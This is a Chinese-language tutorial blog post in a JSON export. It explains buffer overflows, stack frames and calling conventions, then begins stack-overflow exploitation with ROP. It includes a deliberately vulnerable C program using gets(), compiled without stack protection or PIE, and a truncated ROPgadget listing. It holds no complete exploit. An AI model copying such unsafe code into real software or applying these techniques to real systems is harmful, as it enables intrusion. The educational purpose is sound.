{"id":378,"date":"2021-10-23T09:53:12","date_gmt":"2021-10-23T01:53:12","guid":{"rendered":"https:\/\/dreamc.top\/?p=378"},"modified":"2021-10-23T09:53:12","modified_gmt":"2021-10-23T01:53:12","slug":"%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e5%8f%8a%e6%94%bb%e5%87%bb%e6%80%bb%e7%bb%93%e4%b8%80","status":"publish","type":"post","link":"https:\/\/dreamc.top\/index.php\/2021\/10\/23\/%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e5%8f%8a%e6%94%bb%e5%87%bb%e6%80%bb%e7%bb%93%e4%b8%80\/","title":{"rendered":"\u7f13\u51b2\u533a\u6ea2\u51fa\u53ca\u653b\u51fb\u603b\u7ed3(\u4e00)"},"content":{"rendered":"<h2 class=\"wp-block-heading\" id=\"\u7f13\u51b2\u533a\u6ea2\u51fa\u539f\u7406\"><span class=\"ez-toc-section\" id=\"%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E5%8E%9F%E7%90%86\"><\/span>\u7f13\u51b2\u533a\u6ea2\u51fa\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 class=\"wp-block-heading\" id=\"\u9884\u5907\u77e5\u8bc6\"><span class=\"ez-toc-section\" id=\"%E9%A2%84%E5%A4%87%E7%9F%A5%E8%AF%86\"><\/span>\u9884\u5907\u77e5\u8bc6<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u6211\u4eec\u5148\u6765\u770b\u4e0b\u7f13\u51b2\u533a\u662f\u4ec0\u4e48\uff0c\u5b83\u5c31\u662f\u5185\u5b58\u4e2d\u9884\u7559\u6307\u5b9a\u5927\u5c0f\u7684\u5b58\u50a8\u7a7a\u95f4\u7528\u6765\u5bf9I\/O\u7684\u6570\u636e\u505a\u4e34\u65f6\u5b58\u50a8\uff0c\u8fd9\u90e8\u5206\u5185\u5b58\u7a7a\u95f4\u5c31\u53eb\u7f13\u51b2\u533a\uff0c\u4e3b\u8981\u7531\u5806\uff0c\u6808\u548c\u9759\u6001\u6570\u636e\u533a\u7ec4\u6210\u3002\u5f53\u7136\u4e5f\u6709\u7f13\u51b2\u5bc4\u5b58\u5668\uff0c\u4e0d\u8fc7\u7531\u4e8e\u4ef7\u683c\u6602\u8d35\u4e14\u5bb9\u91cf\u8f83\u5c0f\uff0c\u4e00\u822c\u53ea\u7528\u5728\u5bf9\u901f\u5ea6\u8981\u6c42\u975e\u5e38\u9ad8\u7684\u573a\u5408\u3002<\/p>\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/10\/%E6%9C%AA%E5%91%BD%E5%90%8D%E6%96%87%E4%BB%B61.png?w=1000&#038;ssl=1\" alt=\"\" class=\"wp-image-379\"><figcaption>\u7f13\u51b2\u533a\u7ec4\u6210<\/figcaption><\/figure>\n<p>\u4e00\u822c\u7f13\u51b2\u533a\u5206\u4e09\u5927\u7c7b\uff1a\u5168\u7f13\u51b2\u3001\u884c\u7f13\u51b2\u3001\u65e0\u7f13\u51b2<\/p>\n<p>1.\u5168\u7f13\u51b2\uff1a\u53ea\u6709\u5728\u7f13\u51b2\u533a\u88ab\u586b\u6ee1\u4e4b\u540e\u624d\u4f1a\u8fdb\u884cI\/O\u64cd\u4f5c\uff0c\u6bd4\u5982\u5bf9\u78c1\u76d8\u6587\u4ef6\u7684\u8bfb\u5199\u3002<\/p>\n<p>2.\u884c\u7f13\u51b2\uff1a\u53ea\u6709\u5728\u8f93\u5165\u6216\u8f93\u51fa\u4e2d\u9047\u5230\u6362\u884c\u7b26\u7684\u65f6\u5019\u624d\u4f1a\u8fdb\u884cO\/I\u64cd\u4f5c\uff0c\u6bd4\u5982\u6807\u51c6\u7684\u8f93\u5165\u6d41(stdin)\u548c\u8f93\u51fa\u6d41(stdout)\u3002<\/p>\n<p>3.\u65e0\u7f13\u51b2\uff1a\u6807\u51c6I\/O\u4e0d\u7f13\u5b58\u5b57\u7b26\uff0c\u6bd4\u5982\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u6d41\u3002<\/p>\n<p>\u5bf9\u7f13\u51b2\u533a\u64cd\u4f5c\u7684\u51fd\u6570\u6709\u54ea\u4e9b\uff1f(C\u8bed\u8a00)<\/p>\n<p>\u6807\u51c6\u8f93\u51fa\u51fd\u6570\uff1aprintf\u3001puts\u3001putchar\u7b49<\/p>\n<p>\u6807\u51c6\u8f93\u5165\u51fd\u6570\uff1ascanf\u3001gets\u3001getchar\u7b49<\/p>\n<p>\u5185\u5b58\u5206\u914d\u51fd\u6570\uff1amalloc\u3001new\u548c\u6570\u7ec4\u7b49<\/p>\n<p>IO_FILE:fopen\u3001fwrite\u3001fread\u3001fseek\u7b49<\/p>\n<p>\u6e05\u9664\u7f13\u5b58\u533a\uff1afflush<\/p>\n<p><em><strong>\u5f53\u6211\u4eec\u6ca1\u6709\u5bf9\u8f93\u5165\u9650\u5236\u5927\u5c0f\uff0c\u8d85\u51fa\u5206\u914d\u51fd\u6570\u5206\u914d\u7684\u7a7a\u95f4\u5927\u5c0f\uff0c\u5c31\u4f1a\u53d1\u751f\u7f13\u51b2\u533a\u6ea2\u51fa<\/strong><\/em>\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6765\u6539\u53d8\u8fdb\u7a0b\u8fd0\u884c\u65f6\u6808\uff0c\u4ece\u800c\u6539\u53d8\u7a0b\u5e8f\u6b63\u5e38\u6d41\u5411\uff0c\u53ef\u80fd\u4f1a\u5bfc\u81f4\u7a0b\u5e8f\u5d29\u6e83\uff0c\u751a\u81f3\u662f\u7cfb\u7edf\u6743\u9650\u88ab\u83b7\u53d6\u3002<\/p>\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u5f15\u5165\u6808\u5e27\u7ed3\u6784(\u5728\u5806\u6808\u4e2d\uff0c\u662f\u5176\u4e00\u90e8\u5206)\u3002<\/p>\n<p>\u5728C\u8bed\u8a00\u4e2d\uff0c\u4e00\u822c\u6765\u8bf4\uff0c\u6bcf\u4e2a\u6808\u5e27\u90fd\u5bf9\u5e94\u7740\u4e00\u4e2a\u672a\u5b8c\u6210\u7684\u51fd\u6570\uff0c\u4fdd\u5b58\u4e86\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\u548c\u5c40\u90e8\u53d8\u91cf\u3002\u6808\u5e27\u4e5f\u53eb\u6d3b\u52a8\u8fc7\u7a0b\u8bb0\u5f55\uff0c\u662f\u4e00\u79cd\u6570\u636e\u7ed3\u6784\u3002<\/p>\n<p>C \u8bed\u8a00\u81ea\u52a8\u63d0\u4f9b\u7684\u670d\u52a1\u4e4b\u4e00\u5c31\u662f\u8ddf\u8e2a\u8c03\u7528\u94fe\u2014\u2014\u54ea\u4e9b\u51fd\u6570\u8c03\u7528\u4e86\u54ea\u4e9b\u51fd\u6570\uff0c\u5f53\u4e0b\u4e00\u4e2areturn\u8bed\u53e5\u6267\u884c\u540e\uff0c\u63a7\u5236\u5c06\u8fd4\u56de\u4f55\u5904\u7b49\u3002\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u7684\u7ecf\u5178\u673a\u5236\u662f\u5806\u6808\u4e2d\u7684\u6d3b\u52a8\u8bb0\u5f55\u3002<\/p>\n<p>\u5f53\u6bcf\u4e2a\u51fd\u6570\u88ab\u8c03\u7528\u65f6\uff0c\u90fd\u4f1a\u4ea7\u751f\u4e00\u4e2a\u8fc7\u7a0b\u8bb0\u5f55\uff08\u6216\u8005\u7c7b\u4f3c\u7684\u7ed3\u6784\uff09\u3002\u8fc7\u7a0b\u6d3b\u52a8\u8bb0\u5f55\u662f\u4e00\u79cd\u6570\u636e\u7ed3\u6784\uff0c\u7528\u4e8e\u652f\u6301\u8fc7\u7a0b\u8c03\u7528\uff0c\u5e76\u8bb0\u5f55\u8c03\u7528\u7ed3\u675f\u4ee5\u540e\u8fd4\u56de\u8c03\u7528\u70b9\u6240\u9700\u8981\u7684\u5168\u90e8\u4fe1\u606f\u3002\u7ed3\u6784\u5982\u4e0b\u56fe\u6240\u793a<\/p>\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/10\/20170910091744278.png?w=1000&#038;ssl=1\" alt=\"\" class=\"wp-image-383\"><figcaption>\u9759\u6001\u94fe\u63a5\u5904\u5e94\u4e3a\u52a8\u6001\u8fde\u63a5\uff0c\u5305\u542b\u9759\u6001\u89e3\u6790<\/figcaption><\/figure>\n<p>\u51fd\u6570\u8c03\u7528\u65f6\u4f1a\u9075\u5b88\u51fd\u6570\u8c03\u7528\u7ea6\u5b9a\u53bb\u4f20\u9012\u53c2\u6570\u548c\u8fd4\u56de\u5730\u5740\u3002\u8c03\u7528\u7ea6\u5b9a\u6709\u8fd9\u51e0\u79cd\uff1a<a rel=\"noreferrer noopener\" target=\"_blank\" href=\"https:\/\/baike.baidu.com\/item\/__stdcall\/9466040\">__stdcall<\/a>\uff0c<a rel=\"noreferrer noopener\" target=\"_blank\" href=\"https:\/\/baike.baidu.com\/item\/__cdecl\/9518056\">__cdecl<\/a>\uff0c<a rel=\"noreferrer noopener\" target=\"_blank\" href=\"https:\/\/baike.baidu.com\/item\/__fastcall\/3736920\">__fastcall<\/a>\uff0c__thiscall\uff0c__nakedcall\uff0c__pascal\uff0c__vectorcall\u3002<\/p>\n<h3 class=\"has-normal-font-size wp-block-heading\" id=\"\u53c2\u6570\u4f20\u9012\u987a\u5e8f\"><span class=\"ez-toc-section\" id=\"%E5%8F%82%E6%95%B0%E4%BC%A0%E9%80%92%E9%A1%BA%E5%BA%8F\"><\/span>\u53c2\u6570\u4f20\u9012\u987a\u5e8f<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>1.\u4ece\u53f3\u5230\u5de6\u4f9d\u6b21\u5165\u6808\uff1a<a rel=\"noreferrer noopener\" target=\"_blank\" href=\"https:\/\/baike.baidu.com\/item\/__stdcall\/9466040\">__stdcall<\/a>\uff0c<a rel=\"noreferrer noopener\" target=\"_blank\" href=\"https:\/\/baike.baidu.com\/item\/__cdecl\/9518056\">__cdecl<\/a>\uff0c__thiscall\uff0c__fastcall <\/p>\n<p>2.\u4ece\u5de6\u5230\u53f3\u4f9d\u6b21\u5165\u6808\uff1a<a href=\"https:\/\/baike.baidu.com\/item\/pascal\/241171\" target=\"_blank\" rel=\"noreferrer noopener\">__pascal<\/a><\/p>\n<h3 class=\"has-normal-font-size wp-block-heading\" id=\"\u8c03\u7528\u5806\u6808\u6e05\u7406\"><span class=\"ez-toc-section\" id=\"%E8%B0%83%E7%94%A8%E5%A0%86%E6%A0%88%E6%B8%85%E7%90%86\"><\/span>\u8c03\u7528\u5806\u6808\u6e05\u7406<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>1.\u8c03\u7528\u8005\u6e05\u9664\u6808\u3002 2.\u88ab\u8c03\u7528\u51fd\u6570\u8fd4\u56de\u540e\u6e05\u9664\u6808\u3002<\/p>\n<h3 class=\"wp-block-heading\" id=\"\u539f\u7406\"><span class=\"ez-toc-section\" id=\"%E5%8E%9F%E7%90%86\"><\/span>\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u770b\u5b8c\u51fd\u6570\u8c03\u7528\u7ea6\u5b9a\u6211\u4eec\u56de\u5934\u7ee7\u7eed\u5b66\u4e60\u6808\u5e27\u7ed3\u6784\u3002<\/p>\n<p>\u6bcf\u4e2a\u51fd\u6570\u7684\u6bcf\u6b21\u8c03\u7528\uff0c\u90fd\u6709\u5b83\u81ea\u5df1\u72ec\u7acb\u7684\u4e00\u4e2a\u6808\u5e27\uff0c\u8fd9\u4e2a\u6808\u5e27\u4e2d\u7ef4\u6301\u7740\u6240\u9700\u8981\u7684\u5404\u79cd\u4fe1\u606f\u3002\u5bc4\u5b58\u5668ebp\u6307\u5411\u5f53\u524d\u7684\u6808\u5e27\u7684\u5e95\u90e8\uff08\u9ad8\u5730\u5740\uff09\uff0c\u5bc4\u5b58\u5668esp\u6307\u5411\u5f53\u524d\u7684\u6808\u5e27\u7684\u9876\u90e8\uff08\u4f4e\u5730\u5740\uff09\u3002\u4e0b\u56fe\u4e3a\u5730\u5740\u7a7a\u95f4\u3001\u6808\u5e27\u6240\u5904\u5c42\u6b21\u7ed3\u6784\u3002<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" height=\"562\" width=\"1000\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/10\/35G6OP9WWBMCFXVU40.png?resize=1000%2C562&#038;ssl=1\" alt=\"\" class=\"wp-image-386\"><\/figure>\n<p>\u7531\u4e8e\u5c06\u51fd\u6570\u8fd4\u56de\u5730\u5740\u8fd9\u6837\u7684\u91cd\u8981\u6570\u636e\u4fdd\u5b58\u5728\u7a0b\u5e8f\u5458\u53ef\u89c1\u7684\u5806\u6808\u4e2d\uff0c\u56e0\u6b64\u7ed9\u7cfb\u7edf\u5b89\u5168\u5e26\u6765\u4e00\u4e9b\u9690\u60a3\u3002\u82e5\u5c06\u51fd\u6570\u8fd4\u56de\u5730\u5740\u4fee\u6539\u4e3a\u6307\u5411\u4e00\u6bb5\u7684\u6076\u610f\u4ee3\u7801\uff0c\u5219\u53ef\u8fbe\u5230\u5371\u5bb3\u7cfb\u7edf\u5b89\u5168\u7684\u76ee\u7684\u3002\u6b64\u5916\uff0c\u5806\u6808\u7684\u6062\u590d\u4f9d\u8d56\u4e8e\u538b\u6808\u7684ebp\u503c\u7684\u6b63\u786e\u6027\uff0c\u4f46ebp\u57df\u90bb\u8fd1\u5c40\u90e8\u53d8\u91cf\uff0c\u82e5\u7f16\u7a0b\u4e2d\u6709\u610f\u65e0\u610f\u5730\u901a\u8fc7\u5c40\u90e8\u53d8\u91cf\u7684\u5730\u5740\u504f\u79fb\u7a9c\u6539ebp\u503c\u6216\u8fd4\u56de\u5730\u5740\uff0c\u5219\u7a0b\u5e8f\u7684\u884c\u4e3a\u5c06\u53d8\u5f97\u975e\u5e38\u5371\u9669\u3002<\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u7f16\u5199\u4e00\u4e2a\u7b80\u5355\u7a0b\u5e8f\uff0c\u8fdb\u884c\u8c03\u8bd5\uff0c\u6df1\u5165\u7406\u89e3\u7a0b\u5e8f\u662f\u5982\u4f55\u8fd0\u884c\u7684\u3002\u6e90\u4ee3\u7801\u5982\u4e0b\uff0c<em>\u6d4b\u8bd5\u7cfb\u7edf\u4e3aKali 20.04 (64\u4f4d)<\/em>\uff0c\u4f7f\u7528\u5de5\u5177\u4e3aGDB<\/p>\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h&gt; \nint add (int a,int b); \nint main () \n{ \n        int a=1,b=2,c; \n        c=add(a,b); \n        printf(&quot;%d&quot;,c); \n        return 0; \n} \nint add (int a,int b) \n{ \n        int c; \n        c=a+b; \n        return c; \n}<\/code><\/pre>\n<p>\u6c47\u7f16\u4ee3\u7801\u5982\u4e0b<\/p>\n<pre class=\"wp-block-code\"><code>   0x555555555139 &lt;main+4&gt;     sub    rsp, 0x10\n   0x55555555513d &lt;main+8&gt;     mov    dword ptr [rbp - 4], 1\n   0x555555555144 &lt;main+15&gt;    mov    dword ptr [rbp - 8], 2\n   0x55555555514b &lt;main+22&gt;    mov    edx, dword ptr [rbp - 8]\n   0x55555555514e &lt;main+25&gt;    mov    eax, dword ptr [rbp - 4]\n   0x555555555151 &lt;main+28&gt;    mov    esi, edx\n   0x555555555153 &lt;main+30&gt;    mov    edi, eax\n \u25ba 0x555555555155 &lt;main+32&gt;    call   add                &lt;add&gt;\n        rdi: 0x1\n        rsi: 0x2\n        rdx: 0x2\n        rcx: 0x7ffff7fad738 (__exit_funcs) &mdash;\u25b8 0x7ffff7fafb20 (initial) \u25c2&mdash; 0x0\n\n   0x55555555515a &lt;main+37&gt;    mov    dword ptr [rbp - 0xc], eax\n   0x55555555515d &lt;main+40&gt;    mov    eax, dword ptr [rbp - 0xc]\n   0x555555555160 &lt;main+43&gt;    mov    esi, eax\n   0x555555555162 &lt;main+45&gt;    lea    rdi, [rip + 0xe9b]\n   0x555555555169 &lt;main+52&gt;    mov    eax, 0\n<\/code><\/pre>\n<p>\u6211\u4eec\u6765\u770b\u770bgdb\u5f00\u59cb\u8c03\u8bd5\u7684\u4fe1\u606f<\/p>\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/10\/1SYU_A2FIDIHM6W93.png?w=1000&#038;ssl=1\" alt=\"\" class=\"wp-image-390\"><\/figure>\n<p>rbp\u548crsp\u6307\u5411\u540c\u4e00\u4e2a\u5730\u5740\uff0c\u6267\u884cmain\u51fd\u6570\u4e4b\u524d\u7684rp\uff0c\u7a7a\u95f4\u5206\u914d\u51fa\u6765\u4e86\u3002<code>0x555555555135 (main) \u25c2&mdash; push rbp<\/code>\u538b\u5165\u4e3b\u51fd\u6570\u7684rbp\u503c\u3002\u4e5f\u53ef\u4ee5\u753b\u4e2a\u5806\u6808\u56fe\u8fdb\u884c\u7406\u89e3\u3002<\/p>\n<p>\u518d\u6765\u770b\u770b\u8c03\u8bd5\u65f6\u7684\u4fe1\u606f<\/p>\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/10\/BL%402I4QYERZR9J0J8V3P.png?w=1000&#038;ssl=1\" alt=\"\" class=\"wp-image-391\"><\/figure>\n<p><\/p>\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/10\/%402EM5N6U5D_BCO1NJFP.png?w=1000&#038;ssl=1\" alt=\"\" class=\"wp-image-393\"><\/figure>\n<p>\u6267\u884cret\u6307\u4ee4\uff0c\u8fd4\u56de\u5730\u5740\u51fa\u6808\uff0c\u8df3\u5230\u8fd4\u56de\u5730\u5740\u3002\u901a\u8fc7rip\u79fb\u52a8\u53ef\u77e5\u9053\u8fd4\u56de\u5730\u5740\u5728rbp\u4e0b\u9762\u3002rbp\u51fa\u6808\u6062\u590d\u539f\u6765\u7684\u503c\u3002<\/p>\n<p>\u7a0b\u5e8f\u5c31\u5feb\u7ed3\u675f\u4e86\u3002<\/p>\n<p>\u60f3\u8981\u66f4\u8be6\u7ec6\u7684\u4e86\u89e3\u7f13\u51b2\u533a\u6ea2\u51fa\uff0c\u53c2\u8003\u67d0\u5927\u795e\u6587\u7ae0\uff0c<a rel=\"noreferrer noopener\" href=\"https:\/\/www.cnblogs.com\/clover-toeic\/p\/3737011.html\" target=\"_blank\">\u70b9\u51fb\u8fd9\u91cc<\/a>\u3002<\/p>\n<h2 class=\"wp-block-heading\" id=\"\u6f0f\u6d1e\u5229\u7528\"><span class=\"ez-toc-section\" id=\"%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8\"><\/span>\u6f0f\u6d1e\u5229\u7528<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u672c\u7bc7\u53ea\u7814\u7a76\u6808\u6ea2\u51fa\u6f0f\u6d1e\u5229\u7528<\/p>\n<h4 class=\"wp-block-heading\" id=\"\u5371\u9669\u51fd\u6570\"><span class=\"ez-toc-section\" id=\"%E5%8D%B1%E9%99%A9%E5%87%BD%E6%95%B0\"><\/span>\u5371\u9669\u51fd\u6570<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u6211\u4eec\u5728\u4e0a\u6587\u5217\u51fa\u4e86\u4e00\u4e9b\u7f13\u51b2\u533a\u64cd\u4f5c\u7684\u51fd\u6570\uff0c\u8fd9\u91cc\u6211\u4eec\u5c31\u8bb2\u8bb2\u5e38\u53d1\u751f\u6808\u6ea2\u51fa\u7684\u5371\u9669\u51fd\u6570\u3002<\/p>\n<p><code>gets()<\/code>\uff1a\u76f4\u63a5\u8bfb\u53d6\u4e00\u884c\uff0c\u5230\u6362\u884c\u7b26&#8217;\\n&#8217;\u4e3a\u6b62\uff0c\u540c\u65f6&#8217;\\n&#8217;\u88ab\u8f6c\u6362\u6210&#8217;\\x00&#8242;;<\/p>\n<p><code>scanf()<\/code>\uff1a\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u4e2d\u7684%s\u4e0d\u4f1a\u68c0\u67e5\u957f\u5ea6;<\/p>\n<p><code>vscanf()<\/code>\uff1a\u540c\u4e0a;<\/p>\n<p><code>sprintf()<\/code>\uff1a\u5c06\u683c\u5f0f\u5316\u540e\u7684\u5185\u5bb9\u5199\u5165\u7f13\u51b2\u533a\u4e2d\uff0c\u4f46\u662f\u4e0d\u68c0\u67e5\u7f13\u51b2\u533a\u957f\u5ea6;<\/p>\n<p><code>strcpy()<\/code>\uff1a\u9047\u5230&#8217;\\x00&#8217;\u505c\u6b62\uff0c\u4e0d\u4f1a\u68c0\u67e5\u957f\u5ea6\uff0c\u7ecf\u5e38\u5bb9\u6613\u51fa\u73b0\u5355\u5b57\u8282\u51990(off by one)\u6ea2\u51fa;<\/p>\n<p><code>strcat()<\/code>\uff1a \u540c\u4e0a\u3002<\/p>\n<h4 class=\"wp-block-heading\" id=\"\u8986\u76d6\u4f4d\u7f6e\"><span class=\"ez-toc-section\" id=\"%E8%A6%86%E7%9B%96%E4%BD%8D%E7%BD%AE\"><\/span>\u8986\u76d6\u4f4d\u7f6e<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u4e00\u822c\u5206\u4e3a\u4e09\u79cd\uff1a<\/p>\n<p>1.\u8986\u76d6\u51fd\u6570\u8fd4\u56de\u5730\u5740\uff0c\u901a\u8fc7\u8986\u76d6\u8fd4\u56de\u5730\u5740\u63a7\u5236\u7a0b\u5e8f\u3002<\/p>\n<p>2.\u8986\u76d6\u6808\u4e0a\u6240\u4fdd\u5b58\u7684BP\u5bc4\u5b58\u5668\u7684\u503c\u3002\u51fd\u6570\u88ab\u8c03\u7528\u65f6\u4f1a\u5148\u4fdd\u5b58\u6808\u73b0\u573a\uff0c\u8fd4\u56de\u65f6\u518d\u6062\u590d\uff0c\u5982\u4e0b(\u4ee5x64\u7a0b\u5e8f\u4e3a\u4f8b)\uff1a<\/p>\n<pre class=\"wp-block-code\"><code>push    rbp\nmov rbp,rsp\nleave                  ;\u76f8\u5f53\u4e8emov rsp,rbp          pop rbp\nret<\/code><\/pre>\n<p>\u8fd4\u56de\u65f6\uff1a\u5982\u679c\u6808\u4e0a\u7684BP\u503c\u88ab\u8986\u76d6\uff0c\u90a3\u4e48\u51fd\u6570\u8fd4\u56de\u540e\uff0c\u4e3b\u8c03\u51fd\u6570\u7684BP\u503c\u4f1a\u88ab\u6539\u53d8\uff0c\u4e3b\u8c03\u51fd\u6570\u8fd4\u56de\u6307\u4ee4ret\u65f6\uff0cSP\u4e0d\u4f1a\u6307\u5411\u539f\u6765\u7684\u8fd4\u56de\u5730\u5740\u4f4d\u7f6e\uff0c\u800c\u662f\u88ab\u4fee\u6539\u7684BP\u4f4d\u7f6e\u3002<\/p>\n<p>3.\u6839\u636e\u73b0\u5b9e\u6267\u884c\u60c5\u51b5\uff0c\u8986\u76d6\u7279\u5b9a\u7684\u53d8\u91cf\u6216\u5730\u5740\u7684\u5185\u5bb9\uff0c\u53ef\u80fd\u5bfc\u81f4\u4e00\u4e9b\u903b\u8f91\u6f0f\u6d1e\u7684\u51fa\u73b0\u3002<\/p>\n<h3 class=\"wp-block-heading\" id=\"rop\"><span class=\"ez-toc-section\" id=\"ROP\"><\/span>ROP<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u5728\u524d\u9762\u4e24\u7bc7\u6587\u7ae0\u4e2d\uff0c\u6211\u5b66\u4e60\u4e86\u7b80\u5355\u7684\u8fd4\u56de\u5f0f\u5bfc\u5411\u7f16\u7a0b(ROP)\uff0c\u4f46\u662f\u73b0\u5b9e\u60c5\u51b5\u4e0d\u53ef\u80fd\u8fd9\u4e48\u7b80\u5355\u5c31\u83b7\u53d6shell\u3002\u6240\u4ee5\u6211\u5c06\u6df1\u5165\u5b66\u4e60ROP\uff0c\u53bb\u5b9e\u73b0\u66f4\u6df1\u5c42\u6b21\u7684\u6f0f\u6d1e\u6316\u6398\u3002<\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u5229\u7528<code>ret(0xc3)<\/code>\u6307\u4ee4\u7ed3\u5c3e\u7684\u6307\u4ee4\u7247\u6bb5(gadget)\u6784\u5efa\u4e00\u6761ROP\u94fe\uff0c\u6765\u5b9e\u73b0\u4efb\u610f\u6307\u4ee4\u6267\u884c\uff0c\u6700\u7ec8\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002<\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u5c06\u5176\u5206\u4e3a\u4e09\u6b65\uff1a<\/p>\n<p>1.\u5bfb\u627eret\u6307\u4ee4\uff0c\u67e5\u770bret\u524d\u7684\u5b57\u8282\u662f\u5426\u5305\u542b\u6709\u6548\u6307\u4ee4;<\/p>\n<p>2.\u627e\u5230\u6709\u6548\u6307\u4ee4\u540e\uff0c\u5c06\u5176\u6807\u8bb0\uff0c\u5f97\u5230\u4e00\u7cfb\u5217\u8fd9\u6837\u4ee5ret\u7ed3\u675f\u7684\u6307\u4ee4\u540e\uff0c\u5c06\u8fd9\u4e9b\u6307\u4ee4\u7684\u5730\u5740\u6309\u987a\u5e8f\u6392\u5217\u653e\u5728\u6808\u4e0a; <\/p>\n<p>3.\u8fd9\u6837\u5c31\u4f1a\u8ba9\u7a0b\u5e8f\u6bcf\u6b21\u6267\u884c\u5b8c\u76f8\u5e94\u6307\u4ee4\u540e\uff0c\u5176\u7ed3\u5c3e\u7684ret\u6307\u4ee4\u4f1a\u5c06\u7a0b\u5e8f\u63a7\u5236\u6d41\u4f20\u9012\u7ed9\u6808\u9876\u7684\u65b0\u7684Gadget\u7ee7\u7eed\u6267\u884c\u3002\u8fd9\u6837\u4e00\u6bb5\u8fde\u7eed\u7684Gadget\u6784\u6210\u4e86\u4e00\u6761ROP\u94fe\uff0c\u4ece\u800c\u5b9e\u73b0\u4efb\u610f\u6307\u4ee4\u6267\u884c\u3002<\/p>\n<p>\u5de5\u5177\u51c6\u5907<\/p>\n<p>IDA Pro\u3001ROPgadget\u3001pwntools\u7b49<\/p>\n<p>\u4f8b\u5b50\uff1a<\/p>\n<pre class=\"wp-block-code\"><code>#include&lt;stdio.h&gt; \n#include&lt;unistd.h&gt; \nint main(){ \n        char buf[10]; \n        puts(&quot;hello&quot;); \n        gets(&quot;buf&quot;); \n}<\/code><\/pre>\n<p>\u7528\u4e0b\u5217\u547d\u4ee4\u8fdb\u884c\u7f16\u8bd1\uff1a<\/p>\n<pre class=\"wp-block-code\"><code>gcc rop.c -o rop -no-pie -fno-stack-protector<\/code><\/pre>\n<p>\u7a0b\u5e8f\u4e2d\u6ca1\u6709\u9884\u7f6e\u7684\u53ef\u4ee5\u7528\u6765\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570<br>    \u5148\u7528ROPgadget\u627e\u51fa\u7a0b\u5e8f\u4e2d\u7684Gadget\uff1a<\/p>\n<pre class=\"wp-block-code\"><code>Gadgets information\n============================================================\n0x0000000000401079 : add ah, dh ; nop dword ptr [rax + rax] ; ret\n0x0000000000401151 : add al, ch ; jmp 0xffffffffb9401156\n0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret\n0x000000000040114f : add byte ptr [rax], al ; add al, ch ; jmp 0xffffffffb9401156\n0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020\n0x0000000000401158 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret\n0x0000000000401128 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0\n0x0000000000401159 : add byte ptr [rax], al ; add cl, cl ; ret\n0x0000000000401078 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret\n0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020\n0x000000000040115a : add byte ptr [rax], al ; leave ; ret\n0x000000000040112a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0\n0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020\n0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020\n0x000000000040107e : add byte ptr [rax], al ; ret\n0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax\n0x000000000040107d : add byte ptr [rax], r8b ; ret\n0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret\n0x000000000040115b : add cl, cl ; ret\n0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret\n0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020\n0x0000000000401118 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret\n0x0000000000401013 : add esp, 8 ; ret\n0x0000000000401012 : add rsp, 8 ; ret\n0x0000000000401010 : call rax\n0x00000000004010a8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret\n0x00000000004011a4 : fisttp word ptr [rax - 0x7d] ; ret\n0x0000000000401042 : fisubr dword ptr [rdi] ; add byte 